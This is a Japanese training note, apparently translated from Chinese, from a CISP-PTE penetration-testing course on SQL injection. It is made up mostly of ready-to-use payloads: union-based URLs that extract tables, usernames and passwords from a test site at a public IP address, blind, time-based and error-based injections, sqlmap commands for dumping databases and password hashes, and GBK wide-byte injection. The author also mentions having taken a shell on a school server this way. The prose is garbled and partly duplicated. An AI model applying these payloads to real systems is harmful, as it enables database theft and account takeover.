cisp-pte合宿ノート3日目
16002 ワード
3日目にsql注入について話し、テストサイトに、通知ページに注入点がpayloadを構築した.
order by 5が白いページに戻るまで試したので、このページには4つのフィールドがあることがわかります.Order byはインデックスソートです.%20はurl符号化で、スペースは%20になります.
次にエコーポイントを探します
Id=-1は白いページに戻り、id=1を使用するとページが上書きされます.Union selectは連合クエリーで、比較的よく見られる注入点で、特にこのような通知公告ページは、私が前に通知公告ページ+連合クエリーを通じて学校サーバーのshellを手に入れたのです.select 3,4,5,6でエコー点を確認すると,4と5の位置がエコー点であることがわかる.
次にdatabase()関数とuser()関数でライブラリ名とユーザー名を確認します
Group concatは、すべてのライブラリの情報がschemaに保存されているため、クエリー結果を文字列につづる.tablesにあるからschemaを通ってtablesチャート名次にチャート内のフィールド名を調べる
フィールド名に基づいて情報を抽出
次にパスワードpasswordを提出
somd 5に入れて を復号してに成功しました
次に、sql-labでsql注入Lesson-1を練習してphpファイルに入ることをお勧めします.echo文を追加して、構造の文がどのようになっているかを自分で見ることができます. Mysqlコメントは3種類あります.
1、#..."#"注釈.コメントの行を#で始まる文:2、---、注意–後ろにスペース-3、/.../
- payloadを構築し、order byを使用していくつのフィールドがあるかを見てみましょう.
ライブラリ名を参照
同じようにunion selectでinformation_からschema.tablesでテーブル情報を読み込む
その後、テーブル内のカラム名の読み取りを続行
続けてusernameとpasswordを読み込んでみます
これにより,ユーザのパスワードが直接得られる以上がベースノートの過程であり,次いでsql−lab第5関門でブラインドノートを理解していくつかのpayloadを構築したが,のブラインドノートの例は明らかになっていない:実質的には大量の判断で文字を1つずつ決定することであり,作業量が大きいため,実際にはsqlmapとpythonスクリプトによって実現する必要がある.何回やってみたらわかる?id=1’and length(database()=8---正しいページに戻る、=7または=9が間違っています.ライブラリ名が8文字であることを示します(security)
推測データベース
a-zの間
asciiコード比較による文字のフィルタリング
すいてい表
aは0から何番目のテーブル、bは何番目の文字、nはASCIIに対応する10進数の最初のテーブル
2番目のテーブル
判定userテーブル
ノックアウトフィールド
やはり面倒なのか、実際に使っているのかsqlmap sqlmap用法:#注入点が利用可能かどうかを検出
#mysql内のすべてのデータベース名を表示
#web現在使用されているデータベース
#webデータベース使用アカウント
#sqlのすべてのユーザーのリスト
#データベースアカウントとパスワード
#すべてのテーブルを出力
#-Dデータベース名の指定
#-T:フィールドをリストするテーブルを指定します.columnsはすべての列フィールドをリストします.
#-C:暴れるフィールドを指定
時間のブラインド注入に基づいて、最も面倒で最も時間のかかる注入
このうちsleep(6)は6秒停止です
次の文でチェックすると、以前のブラインドコメントと同じ原理で、条件に合致する場合はページ応答時間が長くなります.
substrはdatabase()文字列の上位1位、115はsのascii符号値ascii(substr(database()、2,1)は文字列の2位、
次はエラー注入で、エラーメッセージで情報を見ますが、バージョンを見る必要があります.
ライブラリ名を見る
列名を見る
sql-labの第5関門で実験的に注入を誤ることができて、列名を注ぐ時ただ1つのフィールドが現れることに注意して、limitパラメータを修正することによって1つ1つのフィールド名を読み取ることができます
0 x 7 Eは~記号
最初のパラメータ:XML_documentはString形式で、XMLドキュメントオブジェクトの名前です.Docの2番目のパラメータはXPath_です.string(Xpath形式の文字列)は、Xpath構文が分からない場合は、ネット上でチュートリアルを検索できます.3番目のパラメータ:new_value,Stringフォーマット,検索された条件に合致するデータの置換:文書内の条件に合致するノードの値を変更する
練習:pikachuプラットフォーム直接burpパッケージ-』send to repaterはidフィールドを変更して注入を試み、以前の知識点と同じように
また、burpの中のパッケージcopyをtxtにドロップし、sqlmap-r xxxを使用する.txtはsqlmapを使って走ることができます
変化する万能パスワードもありますが、注入されていない場合に万能パスワードがあるのは珍しいので、バッグsqlmap-rをつかんで「or」「1」=「1」#
ワイドバイト注入:gbk符号化、デフォルトは2バイトを中国語処理とし、%dfで記号を処理し、sqlmapは特殊な構造で走り出す必要がある
注意ワイドバイト注入時のテーブル名、ライブラリ名は単一引用符で問題が発生し、table_name=0x67626b73716c69
http://219.153.49.228:46485/new_list.php?id=1 and 1=1 order by 1
http://219.153.49.228:46485/new_list.php?id=1 and 1=1 order by 2
order by 5が白いページに戻るまで試したので、このページには4つのフィールドがあることがわかります.Order byはインデックスソートです.%20はurl符号化で、スペースは%20になります.
次にエコーポイントを探します
http://219.153.49.228:46485/new_list.php?id=-1 union select 3,4,5,6
Id=-1は白いページに戻り、id=1を使用するとページが上書きされます.Union selectは連合クエリーで、比較的よく見られる注入点で、特にこのような通知公告ページは、私が前に通知公告ページ+連合クエリーを通じて学校サーバーのshellを手に入れたのです.select 3,4,5,6でエコー点を確認すると,4と5の位置がエコー点であることがわかる.
次にdatabase()関数とuser()関数でライブラリ名とユーザー名を確認します
http://219.153.49.228:46485/new_list.php?id=-1%20union%20select%203,user(),5,6
http://219.153.49.228:46485/new_list.php?id=-1%20union%20select%203,user(),5,6
http://219.153.49.228:46485/new_list.php?id=-1%20union%20select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()--%20-
Group concatは、すべてのライブラリの情報がschemaに保存されているため、クエリー結果を文字列につづる.tablesにあるからschemaを通ってtablesチャート名次にチャート内のフィールド名を調べる
http://219.153.49.228:46485/new_list.php?id=-1%20union%20select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%22StormGroup_member%22
フィールド名に基づいて情報を抽出
http://219.153.49.228:46485/new_list.php?id=-1 union select 1,group_concat(name),3,4 from StormGroup_member
次にパスワードpasswordを提出
http://219.153.49.228:46485/new_list.php?id=-1 union select 1,group_concat(password),3,4 from StormGroup_member
somd 5に入れて を復号してに成功しました
次に、sql-labでsql注入Lesson-1を練習してphpファイルに入ることをお勧めします.echo文を追加して、構造の文がどのようになっているかを自分で見ることができます. Mysqlコメントは3種類あります.
1、#..."#"注釈.コメントの行を#で始まる文:2、---、注意–後ろにスペース-3、/.../
- payloadを構築し、order byを使用していくつのフィールドがあるかを見てみましょう.
http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3%20--%20-
ライブラリ名を参照
http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),user()%20--%20-
同じようにunion selectでinformation_からschema.tablesでテーブル情報を読み込む
http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--%20-
その後、テーブル内のカラム名の読み取りを続行
http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--%20-
続けてusernameとpasswordを読み込んでみます
http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(username),3%20from%20users--%20-
http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(password),3%20from%20users%20where%20username=%27admin%27--%20-
これにより,ユーザのパスワードが直接得られる以上がベースノートの過程であり,次いでsql−lab第5関門でブラインドノートを理解していくつかのpayloadを構築したが,のブラインドノートの例は明らかになっていない:実質的には大量の判断で文字を1つずつ決定することであり,作業量が大きいため,実際にはsqlmapとpythonスクリプトによって実現する必要がある.何回やってみたらわかる?id=1’and length(database()=8---正しいページに戻る、=7または=9が間違っています.ライブラリ名が8文字であることを示します(security)
推測データベース
?id=1' and length(database())=8-- -
id=1' and left(database(),1)>'a' -- - 1
id=1' and left(database(),1)>'z' -- - 0
a-zの間
id=1' and left(database(),1)>'r' -- -1
id=1' and left(database(),1)>'s' -- -0
id=1' and left(database(),2)>'sa'-- -
asciiコード比較による文字のフィルタリング
すいてい表
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1)b,1))>n
aは0から何番目のテーブル、bは何番目の文字、nはASCIIに対応する10進数の最初のテーブル
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
2番目のテーブル
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 1,1),1,1))=101
判定userテーブル
http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100%23
ノックアウトフィールド
http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68-- -
やはり面倒なのか、実際に使っているのかsqlmap sqlmap用法:#注入点が利用可能かどうかを検出
sqlmap -u ‘http://192.168.87.19/index.php?r=default/news/content&id=12’
#mysql内のすべてのデータベース名を表示
sqlmap -u ‘http://192.168.87.19/index.php?r=default/news/content&id=12’ --dbs
#web現在使用されているデータベース
sqlmap -u 'http://192.168.87.19/index.php?r=default/news/content&id=12' --current-db
#webデータベース使用アカウント
sqlmap -u 'http://192.168.87.19/index.php?r=default/news/content&id=12' --current-user
#sqlのすべてのユーザーのリスト
sqlmap -u ‘http://192.168.87.19/index.php?r=default/news/content&id=12’ --users
#データベースアカウントとパスワード
sqlmap -u 'http://192.168.87.19/index.php?r=default/news/content&id=12' --passwords
#すべてのテーブルを出力
sqlmap -u ‘http://192.168.87.19/index.php?r=default/news/content&id=12’ --tables
#-Dデータベース名の指定
sqlmap -u 'http://192.168.87.19/index.php?r=default/news/content&id=12' -D 【 】 --tables
#-T:フィールドをリストするテーブルを指定します.columnsはすべての列フィールドをリストします.
sqlmap -u 'http://192.168.87.19/index.php?r=default/news/content&id=12' -D 【 】 -T 【 】 --columns
#-C:暴れるフィールドを指定
sqlmap -u ‘http://192.168.87.19/index.php?r=default/news/content&id=12’ -D 【 】 -T 【 】 -C“username,realname,password” --dump
時間のブラインド注入に基づいて、最も面倒で最も時間のかかる注入
http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1%27%20and%20sleep(6)--%20-
このうちsleep(6)は6秒停止です
次の文でチェックすると、以前のブラインドコメントと同じ原理で、条件に合致する場合はページ応答時間が長くなります.
id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))-- -
substrはdatabase()文字列の上位1位、115はsのascii符号値ascii(substr(database()、2,1)は文字列の2位、
次はエラー注入で、エラーメッセージで情報を見ますが、バージョンを見る必要があります.
http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php
?id=2' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) -- -
ライブラリ名を見る
http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php
?id=2' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- -
列名を見る
http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php
?id=2' and updatexml(1,concat(0x7e,(select (column_name) from information_schema.columns where table_name="users" limit 0,1),0x7e),1)-- -
sql-labの第5関門で実験的に注入を誤ることができて、列名を注ぐ時ただ1つのフィールドが現れることに注意して、limitパラメータを修正することによって1つ1つのフィールド名を読み取ることができます
0 x 7 Eは~記号
UPDATEXML (XML_document, XPath_string, new_value);
最初のパラメータ:XML_documentはString形式で、XMLドキュメントオブジェクトの名前です.Docの2番目のパラメータはXPath_です.string(Xpath形式の文字列)は、Xpath構文が分からない場合は、ネット上でチュートリアルを検索できます.3番目のパラメータ:new_value,Stringフォーマット,検索された条件に合致するデータの置換:文書内の条件に合致するノードの値を変更する
練習:pikachuプラットフォーム直接burpパッケージ-』send to repaterはidフィールドを変更して注入を試み、以前の知識点と同じように
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
また、burpの中のパッケージcopyをtxtにドロップし、sqlmap-r xxxを使用する.txtはsqlmapを使って走ることができます
変化する万能パスワードもありますが、注入されていない場合に万能パスワードがあるのは珍しいので、バッグsqlmap-rをつかんで「or」「1」=「1」#
ワイドバイト注入:gbk符号化、デフォルトは2バイトを中国語処理とし、%dfで記号を処理し、sqlmapは特殊な構造で走り出す必要がある
sqlmap -u "chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'"
注意ワイドバイト注入時のテーブル名、ライブラリ名は単一引用符で問題が発生し、table_name=0x67626b73716c69
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x67626b73716c69--%20-